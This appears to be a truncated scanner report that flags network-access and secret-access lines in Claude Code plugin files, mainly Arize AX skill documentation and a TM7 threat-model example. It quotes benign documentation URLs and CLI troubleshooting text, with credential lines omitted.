|--------|-----|----------| | (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | | `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 81
| (default) | `http://schemas.datacontract.org/2004/07/ThreatModeling.Model` | Root `ThreatModel` | - Network accessline 82
| `xmlns:i` | `http://www.w3.org/2001/XMLSchema-instance` | Type attributes | - Network accessline 83
| `xmlns:z` | `http://schemas.microsoft.com/2003/10/Serialization/` | Reference ids (`z:Id`) | - Network accessline 84
| `xmlns:a` | `http://schemas.microsoft.com/2003/10/Serialization/Arrays` | Arrays / collections | - Network accessline 85
| `xmlns:b` | `http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase` | Stencil properties | - Network accessline 86
| `xmlns:c` | `http://www.w3.org/2001/XMLSchema` | Primitive type values | - Network accessline 152
<b:DisplayName>Name</b:DisplayName> <b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 153
<b:Name/> <b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> </a:anyType> - Network accessline 154
<b:Value i:type="c:string" xmlns:c="http://www.w3.org/2001/XMLSchema">My Component</b:Value> - Network accessline 311
8. **Missing the `xmlns` on child elements** — each `GenericTypeId`, `Guid`, `Properties`, `TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 312
`TypeId`, etc. must carry its own `xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. 9. **Pretty-printing with indentation** — the correct output is a single continuous XML stream - Network accessline 313
`xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts"`. - Network accessline 362
- [ ] The file starts with `<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">` and has no XML declaration. - Network accessline 372
- [ThreatModeling.Model namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model) - Network accessline 373
- [ThreatModeling.Model.Abstracts namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.Model.Abstracts) - Network accessline 374
- [ThreatModeling.KnowledgeBase namespace](http://schemas.datacontract.org/2004/07/ThreatModeling.KnowledgeBase) - Network accessline 375
- [Serialization namespace](http://schemas.microsoft.com/2003/10/Serialization/) - Network accessline 376
- [Serialization arrays namespace](http://schemas.microsoft.com/2003/10/Serialization/Arrays) - Network accessline 377
- [XML Schema namespace](http://www.w3.org/2001/XMLSchema) - Network accessline 378
- [XML Schema instance namespace](http://www.w3.org/2001/XMLSchema-instance)
harness/claude-code/plugins/application-security/skills/tm7-threat-model/assets/example-minimal.tm7
- Network accessline 1
<ThreatModel xmlns="http://schemas.datacontract.org/2004/07/ThreatModeling.Model" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><DrawingSurfaceList><DrawingSurfaceModel z:Id="i1" xmlns:z="http://schemas.microsoft.com/2003/10/Serializa
harness/claude-code/plugins/arcade-canvas/.claude-plugin/plugin.json
harness/claude-code/plugins/arch/.claude-plugin/plugin.json
harness/claude-code/plugins/arize-ax/.claude-plugin/plugin.json
harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/SKILL.md
- Access to secretsline 54
[Credential-related source omitted] - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Network accessline 115
| `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I - Network accessline 116
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 118
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 139
ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1" - Network accessline 154
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m - Network accessline 155
| `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use - Network accessline 156
| `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. | - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Network accessline 221
- [Arize API Keys](https://app.arize.com/admin) - Network accessline 222
- [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/) - Network accessline 223
- [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models) - Network accessline 224
- [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1) - Network accessline 225
- [Updated endpoint example](https://new-endpoint.example.com/v1)
harness/claude-code/plugins/arize-ax/skills/arize-ai-provider-integration/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-annotation/SKILL.md
- Network accessline 32
- Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user - Network accessline 34
- If the user needs an API key, direct them to https://app.arize.com/admin > API Keys. - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Network accessline 212
| `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run - Network accessline 213
| Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/ - Network accessline 214
| `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |
harness/claude-code/plugins/arize-ax/skills/arize-annotation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-dataset/SKILL.md
- Network accessline 45
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 46
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 47
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
harness/claude-code/plugins/arize-ax/skills/arize-dataset/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-evaluator/SKILL.md
- Network accessline 33
| --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks - Network accessline 34
| `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct - Network accessline 35
| `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Access to secretsline 37
[Credential-related source omitted] - Network accessline 91
Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys - Network accessline 148
- [Arize admin API keys](https://app.arize.com/admin) - Network accessline 149
- [Arize support](https://arize.com/support)
harness/claude-code/plugins/arize-ax/skills/arize-evaluator/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-evaluator/references/evaluator-crud-workflows.md
- Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 423
|---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | - Network accessline 424
| `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` | - Network accessline 425
| `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
harness/claude-code/plugins/arize-ax/skills/arize-experiment/SKILL.md
- Network accessline 35
| `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f - Network accessline 36
| Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut - Network accessline 37
| API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 127
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Network accessline 179
| `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app. - Network accessline 180
| Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil - Network accessline 181
| `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | - Access to secretsline 209
[Credential-related source omitted] - Network accessline 255
- [Arize API keys](https://app.arize.com/admin)
harness/claude-code/plugins/arize-ax/skills/arize-experiment/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/SKILL.md
- Network accessline 10
Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for setup de - Network accessline 11
auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for setup details. version: 1.0 - Network accessline 12
spans. See https://arize.com/docs/PROMPT.md for setup details. - Network accessline 32
Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T - Network accessline 38
> Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed. - Access to secretsline 49
[Credential-related source omitted] - Network accessline 115
The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs. - Network accessline 117
- **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 118
- **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in - Network accessline 119
- **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/ - Network accessline 120
- **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia). - Network accessline 121
- **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/ - Network accessline 122
- **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f - Network accessline 123
- **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations). - Network accessline 125
**Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed - Network accessline 138
- TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package. - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry - Network accessline 139
- Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i - Network accessline 140
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Network accessline 141
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Network accessline 142
- Run `ax profiles show` to check for an existing profile. - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht - Network accessline 143
- If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details. - Network accessline 144
- If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new - Access to secretsline 145
[Credential-related source omitted] - Network accessline 277
See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes. - Access to secretsline 292
[Credential-related source omitted] - Network accessline 315
"arize-ax-docs": { "url": "https://arize.com/docs/mcp" - Network accessline 316
"url": "https://arize.com/docs/mcp" - Network accessline 322
See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant). - Network accessline 326
| Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 327
|----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 328
| Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 329
| Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 330
| Arize AX Docs | https://arize.com/docs/ax | - Network accessline 331
| Full integration list | https://arize.com/docs/ax/integrations | - Network accessline 332
| Doc index (llms.txt) | https://arize.com/docs/llms.txt | - Access to secretsline 342
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Network accessline 387
- [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) - Network accessline 388
- [Agent Setup Prompt](https://arize.com/docs/PROMPT.md) - Network accessline 389
- [Arize AX Docs](https://arize.com/docs/ax) - Network accessline 390
- [Full integration list](https://arize.com/docs/ax/integrations) - Network accessline 391
- [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) - Network accessline 392
- [OpenInference](https://github.com/Arize-ai/openinference) - Network accessline 393
- [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) - Network accessline 394
- [Arize app](https://app.arize.com) - Network accessline 395
- [Doc index](https://arize.com/docs/llms.txt) - Network accessline 396
- [Arize Docs MCP](https://arize.com/docs/mcp) - Network accessline 397
- [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai) - Network accessline 398
- [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic) - Network accessline 399
- [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 400
- [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai) - Network accessline 401
- [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock) - Network accessline 402
- [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama) - Network accessline 403
- [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq) - Network accessline 404
- [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai) - Network accessline 405
- [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter) - Network accessline 406
- [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai) - Network accessline 407
- [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain) - Network accessline 408
- [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph) - Network accessline 409
- [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex) - Network accessline 410
- [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai) - Network accessline 411
- [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy) - Network accessline 412
- [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen) - Network accessline 413
- [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel) - Network accessline 414
- [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic) - Network accessline 415
- [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack) - Network accessline 416
- [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai) - Network accessline 417
- [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents) - Network accessline 418
- [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor) - Network accessline 419
- [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno) - Network accessline 420
- [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk) - Network accessline 421
- [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol) - Network accessline 422
- [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey) - Network accessline 423
- [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai) - Network accessline 424
- [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai) - Network accessline 425
- [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws) - Network accessline 426
- [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain) - Network accessline 427
- [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra) - Network accessline 428
- [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel) - Network accessline 429
- [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai) - Network accessline 430
- [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j) - Network accessline 431
- [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai) - Network accessline 432
- [Arconia](https://arize.com/docs/ax/integrations/java/arconia) - Network accessline 433
- [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow) - Network accessline 434
- [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise) - Network accessline 435
- [Dify](https://arize.com/docs/ax/integrations/platforms/dify) - Network accessline 436
- [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)
harness/claude-code/plugins/arize-ax/skills/arize-instrumentation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-link/SKILL.md
- Network accessline 40
Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments. - Network accessline 44
All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co - Network accessline 88
| 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown - Network accessline 90
| `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. | - Network accessline 132
- [Arize application](https://app.arize.com)
harness/claude-code/plugins/arize-ax/skills/arize-link/references/EXAMPLES.md
- Network accessline 14
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene - Network accessline 20
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en - Network accessline 26
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType= - Network accessline 32
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples - Network accessline 38
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments - Network accessline 44
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues - Network accessline 50
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id} - Network accessline 56
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id} - Network accessline 62
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded} - Network accessline 68
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs
harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md
- Network accessline 72
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 73
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 74
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir - Access to secretsline 77
[Credential-related source omitted] - Network accessline 499
- [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin) - Network accessline 501
- [Arize API Keys](https://app.arize.com/admin)
harness/claude-code/plugins/arize-ax/skills/arize-prompt-optimization/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/arize-ax/skills/arize-trace/SKILL.md
- Network accessline 35
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke - Network accessline 36
| `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una - Network accessline 37
| `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 250
